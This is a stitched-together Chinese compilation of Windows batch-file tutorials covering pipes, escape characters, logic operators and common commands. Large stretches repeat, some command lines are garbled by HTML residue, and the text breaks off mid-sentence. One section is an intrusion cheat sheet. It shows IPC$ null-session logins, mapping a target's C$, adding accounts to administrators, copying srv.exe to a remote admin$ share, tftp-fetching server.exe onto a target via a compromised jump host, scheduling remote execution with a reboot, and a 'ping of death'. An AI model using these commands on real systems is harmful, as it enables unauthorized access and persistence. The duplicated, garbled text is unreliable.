del /p a.txt

pause

=========================================

@echo off

echo aaaa>a.txt

echo y|del /p a.txt

pause

=========================================

对比以上两个批处理执行结果,读者即可明白管道符的用法和效果。

需要说明的是,上面del命令添加开关/p只是为了让读者明白管道符号的使用方法,实际删除文件时不加/p开关即可实现无提示直接删除。

【 转义符 ^ 】

将特殊符号转化为一般符号,即剥离特殊符号的特殊地位。特殊符号指:| & > <

比如,如果我们想输出符号“>”,直接用命令 echo > 是不行的,必须修改为 echo ^> 。其余几个特殊符号类似需要有同样的处理。

转义字符使用举例:

=========================================

@echo off

echo aaaa>a.txt

echo 第一句echo执行完毕

echo aaaa^>a.txt

echo 第二句echo执行完毕

pause

=========================================

比较上面的两句echo,第一句echo将信息aaaa输出到了文件a.txt,而第二句echo则在直接屏幕上显示除aaaa>a.txt

【 逻辑命令符 】

逻辑命令符包括:&、&&、||

&-无条件执行&符号后面的命令;

&&-当&&前面的命令成功执行时,执行&&后面的命令,否则不执行; ||-当||前面的命令失败时,执行||后面的命令,否则不执行。 ========================================= @echo off echo ^|^|

reg add HKCU /v try /f||echo **成功**

reg add HKCU1 /v try /f||echo **失败**

echo ^&^&

reg delete HKCU /v try /f&&echo **成功**

reg delete HKCU /v try /f&&echo **失败**

echo ^&

reg delete HKCU /v try /f&echo **成功**

reg delete HKCU /v try /f&echo **失败**

pause

=========================================

执行reg add或reg delete后,系统会给出执行结果;我们通过echo命令也给出了“执行结果”。对比系统和我们自己给出的结果,既可以验证逻辑命令的判断机理。

【 四、常用DOS命令 】

【 文件夹管理 】

cd 显示当前目录名或改变当前目录。

md 创建目录。

rd 删除一个目录。

dir 显示目录中的文件和子目录列表。

tree 以图形显示驱动器或路径的文件夹结构。

path 为可执行文件显示或设置一个搜索路径。

xcopy 复制文件和目录树。

【 文件管理 】

type 显示文本文件的内容。

copy 将一份或多份文件复制到另一个位置。

del 删除一个或数个文件。

move 移动文件并重命名文件和目录。(Windows XP Home Edition中没有)

ren 重命名文件。

replace 替换文件。

attrib 显示或更改文件属性。

find 搜索字符串。

fc 比较两个文件或两个文件集并显示它们之间的不同

【 网络命令 】

ping 进行网络连接测试、名称解析

ftp 文件传输

net 网络命令集及用户管理

telnet 远程登陆

ipconfig显示、修改TCP/IP设置

msg 给用户发送消息

批处理 显示系统文件篇六:windows批处理文件(.bat&.cmd)详解

bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由

外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是

由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。

所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都

是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序

仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。 ===================================

首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部

分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的

Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批

处理文件。

==== 注 ===================

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普

通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的

应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行

环境中,否则很多观念和设定都需要做比较大的变动。

========================

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句

(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执

行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分

有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括

内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

==== 注 ==================

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与

编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为

c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c

语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

===========================

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所

在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个

良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后

将所有你编写的批处理文件放到该目录中,这样只要在path中设置上

c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

==== 注 =====

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到

低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令

(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由

command.com 直接载入内存),以exe位扩展名的可执行程序(由

command.com 重定位后载入内存),以bat位扩展名的批处理程序(由

command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行

程序,分析一行,执行一行,文件本身不载入内存)

============

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件

是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每

次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和

磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的

autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;

C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /insert

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

==== 注 =====

AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释

执行;

而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其

它自动运行的批处理文件,对AUTOEXEC.BAT 也增加

了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。 ==== willsort 编注 =============

以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而

dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都

是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程

序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令

可称之为"批处理命令"。

以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字,当然,其中有些

概念和定义已经有些落后了。

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名

为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处

理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS

命令是专门在批处理程序中使用的。

==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几

个命令,我们就从他们开始学起。

==== 注 ===========

首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令

行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

"" 字符串界定符

| 命令管道符

< > >> 文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符

其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注

意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而

直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所

无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo

on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此

点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于

config.sys 文件中.

=====================

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一

行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那

么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to

continue...的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用

的(相当于程序中的注释)。

==== 注 =====

此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理

-------------------------

ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的

回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。 使用ECHO命令可关闭此功能。

语法

ECHO [ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo [message]

参数

ON|OFF

指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的

ECHO

命令。

message

指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename

指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters

指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在

批处

批处理 显示系统文件篇七:关于批处理文件编写的入门方法-带实例

批处理文件BAT的命令

bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。

===================================

首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

==== 注 ===================

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越"边缘化"。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。

========================

其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

==== 注 ==================

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

===========================

第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。

==== 注 =====

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com 直接载入内存),以exe位扩展名的可执行程序(由command.com 重定位后载入内存),以bat位扩展名的批处理程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)

============

第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;

C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /insert

LH CTMOUSE.EXE

SET TEMP=D:\TEMP

SET TMP=D:\TEMP

==== 注 =====

AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;

而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。

==== willsort 编注 =============

以下关于命令的分类,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为"批处理命令"。

以下摘录MS-DOS 6.22 帮助文档中关于"批处理命令"的文字,当然,其中有些概念和定义已经有些落后了。

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。

==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

==== 注 ===========

首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令

行或批处理中可能会见到的一些特殊标记符:

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

"" 字符串界定符

| 命令管道符

< > >> 文件重定向符

@ 命令行回显屏蔽符

/ 参数开关引导符

: 批处理标签引导符

% 批处理变量引导符

其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.

=====================

echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 ==== 注 =====

此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理

-------------------------

ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

语法

ECHO [ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo [message]

参数

ON|OFF

指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO

命令。

message

指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename

指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

batch-parameters

指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处

理程序中使用该命令。

语法

PAUSE

REM

在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS 中也可以用分号 ; 代替REM命令,但在批处理文件中则不能替代)。

语法

REM [string]

参数

string

指定要屏蔽的命令或要包含的注解。

=======================

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

批处理文件的内容为: 命令注释:

@echo off 不显示后续命令行及当前命令行

dir c:\*.* >a.txt 将c盘文件列表写入a.txt

call c:\ucdos\ucdos.bat 调用ucdos

echo 你好 显示"你好"

pause 暂停,等待按键继续

rem 准备运行wps 注释:准备运行wps

cd ucdos 进入ucdos目录

wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1

批处理 显示系统文件篇八:批处理文件指令

批处理文件指令.txt——某天你一定会感谢那个遗弃你的人,感谢那个你曾深爱着却置之你不顾的人。做一个没心没肺的人,比什么都强。________舍不得又怎样到最后还不是说散就散。通配符 ~ 1可以表示长文件名。但需要输入文件名的前6个字符.比如progra~1* 可以一组字符串? 表示一个字符> 在某些指令后加这个可能创建一个文件,比如netstat /es >ip.txt@echo offfor /l %%a in (1,1,20)do start "" "C:\Progra~1\Intern~1\IEXPLORE.EXE" &&ping 127.1 -n 2 >nul &taskkill /f im iexplore.exe上面的20,就是表示打开20次这个是改良过的不会耗费大量系统资源因为他每打开一次,就暂停2秒,然后关掉,再继续,再暂停,关闭…………如此重复但是运行这个的时候,最好别开其他的网页,这样会导致关闭IE错误 explorer 打开弄个网站 taskkill 强制关闭进程diskpart 进入磁盘管理net use $">\\ip\ipc$Content$nbsp;" " /user:" " 建立IPC空链接 net use $">\\ip\ipc$Content$nbsp;"密码" /user:"用户名" 建立IPC非空链接 net use h: $">\\ip\c$Content$nbsp;"密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: $">\\ip\c$Content$nbsp;登陆后映射对方C:到本地为H: net use $">\\ip\ipc$Content$nbsp;/del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$Content$nbsp;开启ipc$共享 net share ipc$Content$nbsp;/del 删除ipc$共享 net share c$Content$nbsp;/del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协

议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP(属telnet登陆后的命令) telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 copy c:\srv.exe $">\\ip\admin$Content$nbsp;复制本地c:\srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指

二进制文件,/a指ASCLL格式文件 copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 mem 查看cpu使用情况 attrib 文件名(目录名) 查看某文件(目录)的属性 ASSOC 显示或修改文件扩展名关联。AT 计划在计算机上运行的命令和程序。ATTRIB 显示或更改文件属性。BREAK 设置或清除扩展式 CTRL+C 检查。CACLS 显示或修改文件的访问控制列表(ACLs)。CALL 从另一个批处理程序调用这一个。CD 显示当前目录的名称或将其更改。CHCP 显示或设置活动代码页数。 936 中文CHDIR 显示当前目录的名称或将其更改。CHKDSK 检查磁盘并显示状态报告。CHKNTFS 显示或修改启动时间磁盘检查。CLS 清除屏幕。CMD 打开另一个 Windows 命令解释程序窗口。COLOR 设置默认控制台前景和背景颜色。COMP 比较两个或两套文件的内容。COMPACT 显示或更改 NTFS 分区上文件的压缩。CONVERT 将 FAT 卷转换成 NTFS。您不能转换当前驱动器。COPY 将至少一个文件复制到另一个位置。DATE 显示或设置日期。DEL 删除至少一个文件。DIR 显示一个目录中的文件和子目录。DISKCOMP 比较两个软盘的内容。DISKCOPY 将一个软盘的内容复制到另一个软盘。DOSKEY 编辑命令行、调用 Windows 命令并创建宏。ECHO 显示消息,或将命令回显打开或关上。ENDLOCAL 结束批文件中环境更改的本地化。ERASE 删除至少一个文件。EXIT 退出 CMD.EXE 程序(命令解释程序)。EDIT 文本编辑FC 比较两个或两套文件,并显示不同处。FIND 在文件中搜索文字字符串。FINDSTR 在文件中搜索字符串。FOR 为一套文件中的每个文

件运行一个指定的命令。FORMAT 格式化磁盘,以便跟 Windows 使用。FTYPE 显示或修改用于文件扩展名关联的文件类型。GOTO 将 Windows 命令解释程序指向批处理程序中某个标明的行。GRAFTABL 启用 Windows 来以图像模式显示扩展字符集。HELP 提供 Windows 命令的帮助信息。IF 执行批处理程序中的条件性处理。LABEL 创建、更改或删除磁盘的卷标。MD 创建目录。MKDIR 创建目录。MODE 配置系统设备。MORE 一次显示一个结果屏幕。MOVE 将文件从一个目录移到另一个目录。PATH 显示或设置可执行文件的搜索路径。PAUSE 暂停批文件的处理并显示消息。POPD 还原 PUSHD 保存的当前目录的上一个值。PRINT 打印文本文件。PROMPT 更改 Windows 命令提示符。PUSHD 保存当前目录,然后对其进行更改。RD 删除目录。RECOVER 从有问题的磁盘恢复可读信息。REM 记录批文件或 CONFIG.SYS 中的注释。REN 重命名文件。RENAME 重命名文件。REPLACE 替换文件。RMDIR 删除目录。SET 显示、设置或删除 Windows 环境变量。SETLOCAL 开始批文件中环境更改的本地化。SHIFT 更换批文件中可替换参数的位置。SORT 对输入进行分类。START 启动另一个窗口来运行指定的程序或命令。SUBST 将路径跟一个驱动器号关联。TIME 显示或设置系统时间。TITLE 设置 CMD.EXE 会话的窗口标题。TREE 以图形模式显示驱动器或路径的目录结构。TYPE 显示文本文件的内容。VER 显示 Windows 版本。VERIFY 告诉 Windows 是否验证文件是否已正确写入磁盘。VOL 显示磁盘卷标和序列号。XCOPY 复制文件和目录树。appwiz.cpl------------添加删除程序control userpasswords2--------用户帐户设置cleanmgr-------垃圾整理CMD--------------命令提示符可以当作是 Windows 的一个附件,Ping,Convert 这些不能在图形环境下 使用的功能要借助它来完成。cmd------jview察看Java虚拟机版本。command.com------调用的则是系统内置的 NTVDM,一个 DOS虚拟机。它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。calc-----------启动计算器chkdsk.exe-----Chkdsk磁盘检查compmgmt.msc---计算机管理conf-----------启动 netmeetingcontrol userpasswords2-----User Account 权限设置devmgmt.msc--- 设备管理器diskmgmt.msc---磁盘管理实用程序dfrg.msc-------磁盘碎片整理程序drwtsn32------ 系统医生dvdplay--------启动Media Playerdxdiag-----------DirectX Diagnostic Toolgpedit.msc-------组策略编辑器gpupdate /target:computer /force 强制刷新组策略eventvwr.exe-----事

件查看器explorer-------打开资源管理器logoff---------注销命令lusrmgr.msc----本机用户和组msinfo32---------系统信息msconfig---------系统配置实用程序net start (servicename)----启动该服务net stop (servicename)-----停止该服务notepad--------打开记事本nusrmgr.cpl-------同control userpasswords,打开用户帐户控制面板Nslookup-------IP地址侦测器oobe/msoobe /a----检查XP是否激活perfmon.msc----计算机性能监测程序progman--------程序管理器regedit----------注册表编辑器regedt32-------注册表编辑器regsvr32 /u *.dll----停止dll文件运行route print------查看路由表 rononce -p ----15秒关机rsop.msc-------组策略结果集rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----启动一个空白的Windows 图片和传真查看器secpol.msc--------本地安全策略services.msc---本地服务设置sfc /scannow-----启动系统文件检查器sndrec32-------录音机taskmgr-----任务管理器(适用于2000/xp/2003)tsshutdn-------60秒倒计时关机命令winchat--------XP自带局域网聊天winmsd---------系统信息winver-----显示About Windows 窗口wupdmgr-----------Windows Update 2。批处理变量及其类型  DOS可以说是弱类型的   没有像C语言那样分得很细   你想一次ping遍局域网   可以这样做   for /L %i in (1,1,255) do @ping -a 192.168.0.%i   这样就遍历了从192.168.0.1到192.168.0.255这256个地址   注意这是在CMD下的输入   如果想实现批处理要将其中的"%"用"%%"替代   for的L参数说明变量是整数类型   这样循环才有意义   还有你说手动将变量加一操作   可以使用set命令   但要注意参数的使用   比如一条命令   set aa=10   这句话单拿出来很难说这个aa是个什么类型   因为10可以是个数字   但是   set aa=shily   则不然   shily只能是字符串   至于加法等算术操作可以通过A参数来说明   比如在set aa=10的前提下执行   set /A aa=%aa%+1   那么aa的值就成了11   但是如果这样简单的写   set aa=%aa%+1   那么aa的值是什么呢?   事实上系统只做简单的拼接   aa的值边成了10+1   这是个字符串   于是上文的循环可以使用goto 来做了   set ip=0   :loop   if %ip%==255 goto end   set /A ip=%ip%+1   ping 192.168.0.%ip%   goto loop   :end   这样就实现了便历的功能   但是for语句不是更方便吗?   一些小问题:   定义过变量后使用%xxx%的格式来访问变量   如果变量不存在   并不会出现严重的错误   比如s

批处理 显示系统文件篇九:Windows批处理文件详解

